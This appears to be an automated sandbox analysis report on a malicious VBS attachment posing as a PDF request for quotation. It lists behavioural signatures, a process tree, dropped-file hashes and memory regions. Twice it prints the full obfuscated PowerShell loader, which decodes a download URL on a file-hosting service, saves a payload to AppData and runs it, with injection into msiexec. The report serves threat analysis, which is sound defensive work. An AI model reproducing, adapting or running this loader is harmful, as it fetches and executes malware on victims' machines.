Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-10-2024 06:41

General

  • Target

    RFQ_64182MR_PDF.R00.vbs

  • Size

    525KB

  • MD5

    63a5b7d958f537744c5330b3fef8ccac

  • SHA1

    00ba79f887c403afabdd6ffe21db30e82288f84b

  • SHA256

    ee763e48dad8e005251345990a572ccbf15929e76c5fa68ab3d1fc80ef7e5286

  • SHA512

    3e7dd82783ffc59320bcdef7942d9b2e7de31cb40dd1c7597d5b17895e6c695888b4791b8191f80aedc0f1fe053d05785681844cf1c1cb0d16158411bffd7909

  • SSDEEP

    6144:Zf/7gXsuuCdsOQpE4V+iZeCKnoQLirdqJGfimOWIVV8T6Oj+WqXZQRhmxCDf2Nzv:u66sOQ66MfiZqbm3eVpZxxCTagc7og

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ_64182MR_PDF.R00.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Besprjtet Playstow Stunsail Vrangforestillingers ergotisms Idealism Overthrowing #>;$Requestionerntrenchant='Gem';<#Formanings Reaktion Randmorner Backwall protore #>;$Oplyser=$Syriacism+$host.UI; function Franarrendes($Kampucheanske){If ($Oplyser) {$Grangerizer++;}$Automobiler=$Forsnakket+$Kampucheanske.'Length'-$Grangerizer; for( $Requestioner=5;$Requestioner -lt $Automobiler;$Requestioner+=6){$Heavenward214=$Requestioner;$Ressentimentsflelsers+=$Kampucheanske[$Requestioner];$Spindleshanks='Nougatfarvede255';}$Ressentimentsflelsers;}function Forbindingers($Sweateren){ . ($Leukophoresis) ($Sweateren);}$Modulariteten85=Franarrendes 'Rum eM lunnoNo anzKonkui Zircl Enerl AnnaaOffgo/ Expe ';$Modulariteten85+=Franarrendes 'Forha5Genn..Olief0Munde Qeth(kamleWD speiW.rlonIag tdGrundoTyd.lwNordis.inds St rN UndeTVolun Aphyl1Found0Orrtr. Fart0Dunel;Attem roomW.ettiiKonomnRe dd6 Anab4 Ach ; Tand S.mpsxChamp6Torve4Snkni;N.mph Carbor Vaa vUnder:forby1Agnat3Foreb1Hydro. nond0 M ga)Bolig FilmsG B koeSviencM notkDesmooBet t/Sp ci2Disfo0Frak,1Curvi0klim 0Enfol1Na ur0 Fops1 Sni TandpF mageisobrarAftrae,ofanf IndioInvarxSaftf/Skole1Sky r3Yderp1 Para.adven0Fall ';$Regnetegnet=Franarrendes 'NiffeU SonoSPreleEStamsrLoz n-FrontAVideoGPo.uleDi denFejletNowel ';$Delggelses=Franarrendes 'BrookhTsnintUnpertunasspOdon sCentr: aan/ Bygn/Pr.grdD,sgerUdnytiFlsomv Non eWoods.OmheggDhurroSkr aoInflegHelpilH lefeLinne.photocNo.gao iphom varm/Avl.suRebubc Abru?I.kvieKomp,xKo tep.piskoOver rBriskt En e=Prosed fvnnounig,wBu.den Fjenl ArusoCen raSaggidRet r&Klenei OmvedDof m= ktio1SaltiO emouB.otlcBac sV EmulAAppetKPseu,uRespicPugenyTim rFCrocugAnkomsKlemry verslS,jlgES ewa0Aaref-F remRKendiUOnla 3Wa rguElvilZ Klbnk DiffN SdnidBog,veSemid2 .emia.ittelsyfilM SemiJUne lPOmdig ';$Coleopteroid=Franarrendes 'Coff >Disge ';$Leukophoresis=Franarrendes 'V,ticiWoundECi.enxSynon ';$Requestionernkassoerne='Papyroplastics';$Kontagis='\Platyhelminthic195.End';Forbindingers (Franarrendes 'Knivs$SpiseGG ssel SkijoL,nkbBRa ziA RemrlD.gab: V,ewDChinbe AcuicY,lloaPeachRSnoenbRhabdoMen oN Mi.tYantihl Sta.aFavo.TU stoESystedDextr= Coar$RemusEEn.rvNTransvsan.s:Gtebaa SikkpP ethPDi pedPunteAStunnTforlgABackn+Sekul$.romaK,ermuOHazanNGreevtIndvaARiob,gCymbeIGenfoSTraum ');Forbindingers (Franarrendes 'Cuisi$C,liiGlingeL aradO.ommebwhip aReboulLabio: FriglDatasILobelTCurt hfrygtOti.anP Brn hJeq eI FlyvlrussiORektou eskysSkudd=Be ry$Sabr dyokeaeLachrlKie,eGArbejgTergiE FrazL IrrusInquieArt iS.orma.Maghissm gepIndviLU affISaddutLden.(Rea i$Tr,ckczigzaOUdestlKar oe ieclOlaspePPelortRegnlEBaronrNatioO CereIKogendPark,) Inct ');Forbindingers (Franarrendes 'Hu,ba[ ,nteN lassE GuiltPedan.inse.sEnergEH vedrGnistvDivi.iIn,rtCUngd efortipFun,oO AffaICloamnCompitEpichmBugh AB.rneNBarquaNonutG AltaEAnaerrUnpro]Arbej: vndg: LumbSSparsERentec ,nteu SemirWigeoI SlukTchokiy Mu kPGolemRSpe cOKinoeT K nkOfloodc StbnoReserl Behe F lig=Overr Betle[ ArienN kvrERe tetLicen.Konios .tesEIcineCS.mmeURedupr stopIGom,hTHusfayTi sfPCountRR gisOArnawtDioptOTegnscBrnehoErgaslPaasatRe onyInddapCockce onpo] Pl t:Disco:S ridtgeorglEfterSKon,a1.ingu2 Ata ');$Delggelses=$Lithophilous[0];$Fitted=(Franarrendes 'S dde$Lisbeg Keralstac OAs albNorlaaOr inL imse:DocerNG,udeeUnfaiOFlameP Sladr Udl,EMiljpNqua re anka=DipsonStolpE rojeW Stil-photoOSukkebDescrjLys aeWheywCNedn thove .oncrsCheckyKov,rsPericT.reteEE.onoMCorro.SubauNAresfEPyro tSethe.RaddyW,rhneegramsbHov rCAxin LDomiciSpidsEPe,olN sup,T era ');Forbindingers ($Fitted);Forbindingers (Franarrendes 'Scirr$Fa csNCircueForsooKaliupSpaltrM ulde SkatnTeleoe Pans. OsmoHAgendeGifteaSuprad UdfreDissir herisDiabo[Sce e$DefmrRJaw meskuregUnc lnF uoreJingktTranseKubisgWoodsnAgrope sem tKvili]Forti=Badmi$yaccrMHovedoV,ndsdAvi.uuBisselFuldfaTildarHornhiFremstExpone verdtFingee obbinSem.o8 urbo5Taktr ');$Behoovings=Franarrendes ',orde$M.tchN HylieAmireoSinknpBifolrAi,boeRap fnWarsteEnosi.pai,cDTokyooQui cwTmme nSma fl EnteoL ucoaNarkod LnkoFHectoiSelvhlHav aeRandd( Quan$ Ad,pDbudcye DisplUntragLabang Sna eLovovlNapoosDe pneTub rs Deli,Satyr$BymllB etalFasc iRullenBrn,hdSkud.iOecussdagplmKrigs)S.rpu ';$Blindism=$Decarbonylated;Forbindingers (Franarrendes 'Heron$ skrogSeptiL.remeO orgeb Gr.vAAnt.tLAporo:BrnephAssafaTepotnRef eRAnde EDeeskjdykkeEFor lRForvaNEneanEGrisbsSvamp=Freet(Spi dTLaereeUlidesIndefTnybru-Maa ePFuscoaP.rret DeadHKjepl Eks.l$ MacrbHansalSmuttIOutsmnSyst.dEpisiIAntepsRecutMFestd) Bann ');while (!$hanrejernes) {Forbindingers (Franarrendes 'Salpa$St erg ygnilWindooHerbobLektua uretlDisqu:CelebP BrndiB,gatgTrakegDrabsiIchthn.aadlgIia,a4 My t4Kultu=Foraa$ ronvtHieror S yeuS ksueNybeg ') ;Forbindingers $Behoovings;Forbindingers (Franarrendes 'PapliSBr,ckTudtryaBremsrLivreTTerma-BegynSCyn cLRoshaeennuyEOphthPd bbe E.fre4Finda ');Forbindingers (Franarrendes 'Rolli$Diatogpalatlvelo.OS rmubSommeaBlgeblBeliq: Ste hPlanlALarvenRnnebR.jeneE BiggjUrtileAmtssRDe abN rhveEAcerbSPopul=,lens(SnuskTLseliE,ercuSGrandt ngul-Aftr,pGaffea aadfTGalenH Akkl Spros$ OptrBMskinLDrhamIGnomoNFantodUnlowiUnempsTermomTalpa)Obl,t ') ;Forbindingers (Franarrendes 'Chlor$Go pegForekL L,jeOA,eyaBChaseA Ska.LDespo: RepabFoderAA pensAndentX,nthINumdaNUbetvg BeskSVandp= Ravn$St rvgKatteLBrunjoSubplBRe oma ndkl S.ek:MautdKAutaeuTillagB jublpr paEProbasSpid + Ble +Numau%Pha d$StbelLPap.gIpha nT Idioh OpreoSlumrPFruerHBlundI oviel VegeOSkoleUunjokSI ter.Subadc ippeOSkrivUVr tjNKommetUdsty ') ;$Delggelses=$Lithophilous[$Bastings];}$Gospels=307653;$Flapr2=30753;Forbindingers (Franarrendes ' Trin$MuntiGB nkoL SlagoS mspBPerleA EolilDiss :khmerbFototLStockNgemalD Aga,eAfvastRabar Faks=Ski,n RadikGAegy.eDiskutE rre-Skrifcnin tOGyngeN PromtPyurie,mokenWatert Prog bloms$ InteBPeriolAmalgiConduNForkidKodesIGrammSAu orm .egi ');Forbindingers (Franarrendes ',leva$BlokogMeterlLovbuovigerb,pildaC lmilPinac:OddfeFFilteeTerebuDichodMilieaskankloutlilSemicyUndis Khub=Ga,in Macar[CheerSSelvbydecors Korrt supeeHydrom Cove.WooshC .andoS,bbrn RajavGu dsePortlr TnkstEncla]Sprng:Grupp:BraceFUngrarBrorso Brd mGen,nBResulajewedsStandeSt aa6,dsun4SkulpSDexamtDeagorKviksi ZappnForl gLumba(,rain$S ldyBLactal aflgnUdflud,urroeK llitHa.vl)sjofl ');Forbindingers (Franarrendes 'Bortv$E icaGraadslKuedeOOverpBWeirdASuperlUdh n:KnurrbPu.dlyG vltCAu olY Ov rKInforlDel.ae DehyRKlumrnExterE M.la Blues=Biref Popli[gid.nsD speYSwaggs etekTW eelEBlotcMMesot.Har etembate.redex R.lat Long.Sa chE BaanN G,oacBe stOBra,yDFst.nIFriz nC.scag,ncon] Ambr:Diako:r,annASammeSdengacF rarI Eksei Cond.preadGLofteESeksetAn ensApiartWaurar Te.hIRev,lN BiobgBrand(Goute$V nstf AuriEsexo.UPlastDTekstaImplilDerayLK ordYResee)Lagen ');Forbindingers (Franarrendes 'Unre $SubfoGE ektL,elenoMunkeb.urriA AyyuL .urs:N nocBUnsmoaSedatJ Ung.E udb,r ugtiePhot.sPyga.=D ndr$ P.ocbCalymYGuldfCF,rniyTinelK,rimaLSarcoequincrPalaeNFrgemERkebi.Y.elsSDekolU Florbc.resSTeks tStraaRSkadeIStorsN,lixiGBrack(Homos$Ke atGVers ODowcoS Hu pP incoEMaa eLNodesSfornu,Nepal$ drifFFondalKaramAAf elp InelROv rl2In,iv) Juve ');Forbindingers $Bajeres;"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2516
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Besprjtet Playstow Stunsail Vrangforestillingers ergotisms Idealism Overthrowing #>;$Requestionerntrenchant='Gem';<#Formanings Reaktion Randmorner Backwall protore #>;$Oplyser=$Syriacism+$host.UI; function Franarrendes($Kampucheanske){If ($Oplyser) {$Grangerizer++;}$Automobiler=$Forsnakket+$Kampucheanske.'Length'-$Grangerizer; for( $Requestioner=5;$Requestioner -lt $Automobiler;$Requestioner+=6){$Heavenward214=$Requestioner;$Ressentimentsflelsers+=$Kampucheanske[$Requestioner];$Spindleshanks='Nougatfarvede255';}$Ressentimentsflelsers;}function Forbindingers($Sweateren){ . ($Leukophoresis) ($Sweateren);}$Modulariteten85=Franarrendes 'Rum eM lunnoNo anzKonkui Zircl Enerl AnnaaOffgo/ Expe ';$Modulariteten85+=Franarrendes 'Forha5Genn..Olief0Munde Qeth(kamleWD speiW.rlonIag tdGrundoTyd.lwNordis.inds St rN UndeTVolun Aphyl1Found0Orrtr. Fart0Dunel;Attem roomW.ettiiKonomnRe dd6 Anab4 Ach ; Tand S.mpsxChamp6Torve4Snkni;N.mph Carbor Vaa vUnder:forby1Agnat3Foreb1Hydro. nond0 M ga)Bolig FilmsG B koeSviencM notkDesmooBet t/Sp ci2Disfo0Frak,1Curvi0klim 0Enfol1Na ur0 Fops1 Sni TandpF mageisobrarAftrae,ofanf IndioInvarxSaftf/Skole1Sky r3Yderp1 Para.adven0Fall ';$Regnetegnet=Franarrendes 'NiffeU SonoSPreleEStamsrLoz n-FrontAVideoGPo.uleDi denFejletNowel ';$Delggelses=Franarrendes 'BrookhTsnintUnpertunasspOdon sCentr: aan/ Bygn/Pr.grdD,sgerUdnytiFlsomv Non eWoods.OmheggDhurroSkr aoInflegHelpilH lefeLinne.photocNo.gao iphom varm/Avl.suRebubc Abru?I.kvieKomp,xKo tep.piskoOver rBriskt En e=Prosed fvnnounig,wBu.den Fjenl ArusoCen raSaggidRet r&Klenei OmvedDof m= ktio1SaltiO emouB.otlcBac sV EmulAAppetKPseu,uRespicPugenyTim rFCrocugAnkomsKlemry verslS,jlgES ewa0Aaref-F remRKendiUOnla 3Wa rguElvilZ Klbnk DiffN SdnidBog,veSemid2 .emia.ittelsyfilM SemiJUne lPOmdig ';$Coleopteroid=Franarrendes 'Coff >Disge ';$Leukophoresis=Franarrendes 'V,ticiWoundECi.enxSynon ';$Requestionernkassoerne='Papyroplastics';$Kontagis='\Platyhelminthic195.End';Forbindingers (Franarrendes 'Knivs$SpiseGG ssel SkijoL,nkbBRa ziA RemrlD.gab: V,ewDChinbe AcuicY,lloaPeachRSnoenbRhabdoMen oN Mi.tYantihl Sta.aFavo.TU stoESystedDextr= Coar$RemusEEn.rvNTransvsan.s:Gtebaa SikkpP ethPDi pedPunteAStunnTforlgABackn+Sekul$.romaK,ermuOHazanNGreevtIndvaARiob,gCymbeIGenfoSTraum ');Forbindingers (Franarrendes 'Cuisi$C,liiGlingeL aradO.ommebwhip aReboulLabio: FriglDatasILobelTCurt hfrygtOti.anP Brn hJeq eI FlyvlrussiORektou eskysSkudd=Be ry$Sabr dyokeaeLachrlKie,eGArbejgTergiE FrazL IrrusInquieArt iS.orma.Maghissm gepIndviLU affISaddutLden.(Rea i$Tr,ckczigzaOUdestlKar oe ieclOlaspePPelortRegnlEBaronrNatioO CereIKogendPark,) Inct ');Forbindingers (Franarrendes 'Hu,ba[ ,nteN lassE GuiltPedan.inse.sEnergEH vedrGnistvDivi.iIn,rtCUngd efortipFun,oO AffaICloamnCompitEpichmBugh AB.rneNBarquaNonutG AltaEAnaerrUnpro]Arbej: vndg: LumbSSparsERentec ,nteu SemirWigeoI SlukTchokiy Mu kPGolemRSpe cOKinoeT K nkOfloodc StbnoReserl Behe F lig=Overr Betle[ ArienN kvrERe tetLicen.Konios .tesEIcineCS.mmeURedupr stopIGom,hTHusfayTi sfPCountRR gisOArnawtDioptOTegnscBrnehoErgaslPaasatRe onyInddapCockce onpo] Pl t:Disco:S ridtgeorglEfterSKon,a1.ingu2 Ata ');$Delggelses=$Lithophilous[0];$Fitted=(Franarrendes 'S dde$Lisbeg Keralstac OAs albNorlaaOr inL imse:DocerNG,udeeUnfaiOFlameP Sladr Udl,EMiljpNqua re anka=DipsonStolpE rojeW Stil-photoOSukkebDescrjLys aeWheywCNedn thove .oncrsCheckyKov,rsPericT.reteEE.onoMCorro.SubauNAresfEPyro tSethe.RaddyW,rhneegramsbHov rCAxin LDomiciSpidsEPe,olN sup,T era ');Forbindingers ($Fitted);Forbindingers (Franarrendes 'Scirr$Fa csNCircueForsooKaliupSpaltrM ulde SkatnTeleoe Pans. OsmoHAgendeGifteaSuprad UdfreDissir herisDiabo[Sce e$DefmrRJaw meskuregUnc lnF uoreJingktTranseKubisgWoodsnAgrope sem tKvili]Forti=Badmi$yaccrMHovedoV,ndsdAvi.uuBisselFuldfaTildarHornhiFremstExpone verdtFingee obbinSem.o8 urbo5Taktr ');$Behoovings=Franarrendes ',orde$M.tchN HylieAmireoSinknpBifolrAi,boeRap fnWarsteEnosi.pai,cDTokyooQui cwTmme nSma fl EnteoL ucoaNarkod LnkoFHectoiSelvhlHav aeRandd( Quan$ Ad,pDbudcye DisplUntragLabang Sna eLovovlNapoosDe pneTub rs Deli,Satyr$BymllB etalFasc iRullenBrn,hdSkud.iOecussdagplmKrigs)S.rpu ';$Blindism=$Decarbonylated;Forbindingers (Franarrendes 'Heron$ skrogSeptiL.remeO orgeb Gr.vAAnt.tLAporo:BrnephAssafaTepotnRef eRAnde EDeeskjdykkeEFor lRForvaNEneanEGrisbsSvamp=Freet(Spi dTLaereeUlidesIndefTnybru-Maa ePFuscoaP.rret DeadHKjepl Eks.l$ MacrbHansalSmuttIOutsmnSyst.dEpisiIAntepsRecutMFestd) Bann ');while (!$hanrejernes) {Forbindingers (Franarrendes 'Salpa$St erg ygnilWindooHerbobLektua uretlDisqu:CelebP BrndiB,gatgTrakegDrabsiIchthn.aadlgIia,a4 My t4Kultu=Foraa$ ronvtHieror S yeuS ksueNybeg ') ;Forbindingers $Behoovings;Forbindingers (Franarrendes 'PapliSBr,ckTudtryaBremsrLivreTTerma-BegynSCyn cLRoshaeennuyEOphthPd bbe E.fre4Finda ');Forbindingers (Franarrendes 'Rolli$Diatogpalatlvelo.OS rmubSommeaBlgeblBeliq: Ste hPlanlALarvenRnnebR.jeneE BiggjUrtileAmtssRDe abN rhveEAcerbSPopul=,lens(SnuskTLseliE,ercuSGrandt ngul-Aftr,pGaffea aadfTGalenH Akkl Spros$ OptrBMskinLDrhamIGnomoNFantodUnlowiUnempsTermomTalpa)Obl,t ') ;Forbindingers (Franarrendes 'Chlor$Go pegForekL L,jeOA,eyaBChaseA Ska.LDespo: RepabFoderAA pensAndentX,nthINumdaNUbetvg BeskSVandp= Ravn$St rvgKatteLBrunjoSubplBRe oma ndkl S.ek:MautdKAutaeuTillagB jublpr paEProbasSpid + Ble +Numau%Pha d$StbelLPap.gIpha nT Idioh OpreoSlumrPFruerHBlundI oviel VegeOSkoleUunjokSI ter.Subadc ippeOSkrivUVr tjNKommetUdsty ') ;$Delggelses=$Lithophilous[$Bastings];}$Gospels=307653;$Flapr2=30753;Forbindingers (Franarrendes ' Trin$MuntiGB nkoL SlagoS mspBPerleA EolilDiss :khmerbFototLStockNgemalD Aga,eAfvastRabar Faks=Ski,n RadikGAegy.eDiskutE rre-Skrifcnin tOGyngeN PromtPyurie,mokenWatert Prog bloms$ InteBPeriolAmalgiConduNForkidKodesIGrammSAu orm .egi ');Forbindingers (Franarrendes ',leva$BlokogMeterlLovbuovigerb,pildaC lmilPinac:OddfeFFilteeTerebuDichodMilieaskankloutlilSemicyUndis Khub=Ga,in Macar[CheerSSelvbydecors Korrt supeeHydrom Cove.WooshC .andoS,bbrn RajavGu dsePortlr TnkstEncla]Sprng:Grupp:BraceFUngrarBrorso Brd mGen,nBResulajewedsStandeSt aa6,dsun4SkulpSDexamtDeagorKviksi ZappnForl gLumba(,rain$S ldyBLactal aflgnUdflud,urroeK llitHa.vl)sjofl ');Forbindingers (Franarrendes 'Bortv$E icaGraadslKuedeOOverpBWeirdASuperlUdh n:KnurrbPu.dlyG vltCAu olY Ov rKInforlDel.ae DehyRKlumrnExterE M.la Blues=Biref Popli[gid.nsD speYSwaggs etekTW eelEBlotcMMesot.Har etembate.redex R.lat Long.Sa chE BaanN G,oacBe stOBra,yDFst.nIFriz nC.scag,ncon] Ambr:Diako:r,annASammeSdengacF rarI Eksei Cond.preadGLofteESeksetAn ensApiartWaurar Te.hIRev,lN BiobgBrand(Goute$V nstf AuriEsexo.UPlastDTekstaImplilDerayLK ordYResee)Lagen ');Forbindingers (Franarrendes 'Unre $SubfoGE ektL,elenoMunkeb.urriA AyyuL .urs:N nocBUnsmoaSedatJ Ung.E udb,r ugtiePhot.sPyga.=D ndr$ P.ocbCalymYGuldfCF,rniyTinelK,rimaLSarcoequincrPalaeNFrgemERkebi.Y.elsSDekolU Florbc.resSTeks tStraaRSkadeIStorsN,lixiGBrack(Homos$Ke atGVers ODowcoS Hu pP incoEMaa eLNodesSfornu,Nepal$ drifFFondalKaramAAf elp InelROv rl2In,iv) Juve ');Forbindingers $Bajeres;"
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4948
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\SysWOW64\msiexec.exe"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      PID:4364
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4364 -s 1896
        3⤵
        • Program crash
        PID:4956
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4364 -ip 4364
    1⤵
      PID:2844

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      806286a9ea8981d782ba5872780e6a4c

      SHA1

      99fe6f0c1098145a7b60fda68af7e10880f145da

      SHA256

      cd2c977928e78b2d39bba8a726308f17b2946ea3f1a432de209720f691450713

      SHA512

      362df97f9fc9c2f546538814cd0402a364a286326219f03325f8cbd59d33f9d850c26daf42230f0bb4feb7e5134868a51e7a3d2f5bc136fe3de69d5d82c5ae2e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cbancuv1.ibb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Platyhelminthic195.End

      Filesize

      440KB

      MD5

      6771cd798c1df9b5eddc60071dfc6e15

      SHA1

      65e923600e1c2604d90a481d257dc99c23fbf1dd

      SHA256

      0849655061e0ce5f5f2633e43ef08a62a3482cf9f15baf24fbd6b25f8abad95f

      SHA512

      cf0013a56ef6ab5fb48ddd80d3e94b879b6890586a5e11313c66b35c352111d3fff2d21a9f9e42a4163cf4e05419610a696e5d428a32eacb45d6f4103b9085ee

    • memory/2516-16-0x00007FFEEAAA0000-0x00007FFEEB561000-memory.dmp

      Filesize

      10.8MB

    • memory/2516-12-0x00007FFEEAAA0000-0x00007FFEEB561000-memory.dmp

      Filesize

      10.8MB

    • memory/2516-15-0x00007FFEEAAA3000-0x00007FFEEAAA5000-memory.dmp

      Filesize

      8KB

    • memory/2516-11-0x00007FFEEAAA0000-0x00007FFEEB561000-memory.dmp

      Filesize

      10.8MB

    • memory/2516-17-0x00007FFEEAAA0000-0x00007FFEEB561000-memory.dmp

      Filesize

      10.8MB

    • memory/2516-20-0x00007FFEEAAA0000-0x00007FFEEB561000-memory.dmp

      Filesize

      10.8MB

    • memory/2516-1-0x000001F898C90000-0x000001F898CB2000-memory.dmp

      Filesize

      136KB

    • memory/2516-0-0x00007FFEEAAA3000-0x00007FFEEAAA5000-memory.dmp

      Filesize

      8KB

    • memory/4364-59-0x0000000001000000-0x0000000002254000-memory.dmp

      Filesize

      18.3MB

    • memory/4364-58-0x0000000001000000-0x0000000002254000-memory.dmp

      Filesize

      18.3MB

    • memory/4948-25-0x00000000054F0000-0x0000000005556000-memory.dmp

      Filesize

      408KB

    • memory/4948-42-0x0000000006DF0000-0x0000000006E12000-memory.dmp

      Filesize

      136KB

    • memory/4948-24-0x0000000004DB0000-0x0000000004E16000-memory.dmp

      Filesize

      408KB

    • memory/4948-37-0x0000000005BE0000-0x0000000005BFE000-memory.dmp

      Filesize

      120KB

    • memory/4948-38-0x0000000005C30000-0x0000000005C7C000-memory.dmp

      Filesize

      304KB

    • memory/4948-40-0x0000000006D40000-0x0000000006D5A000-memory.dmp

      Filesize

      104KB

    • memory/4948-39-0x0000000007380000-0x00000000079FA000-memory.dmp

      Filesize

      6.5MB

    • memory/4948-35-0x00000000055A0000-0x00000000058F4000-memory.dmp

      Filesize

      3.3MB

    • memory/4948-41-0x0000000006E50000-0x0000000006EE6000-memory.dmp

      Filesize

      600KB

    • memory/4948-23-0x0000000004D10000-0x0000000004D32000-memory.dmp

      Filesize

      136KB

    • memory/4948-43-0x0000000007FB0000-0x0000000008554000-memory.dmp

      Filesize

      5.6MB

    • memory/4948-45-0x0000000008560000-0x000000000D4E8000-memory.dmp

      Filesize

      79.5MB

    • memory/4948-22-0x0000000004EC0000-0x00000000054E8000-memory.dmp

      Filesize

      6.2MB

    • memory/4948-21-0x00000000022B0000-0x00000000022E6000-memory.dmp

      Filesize

      216KB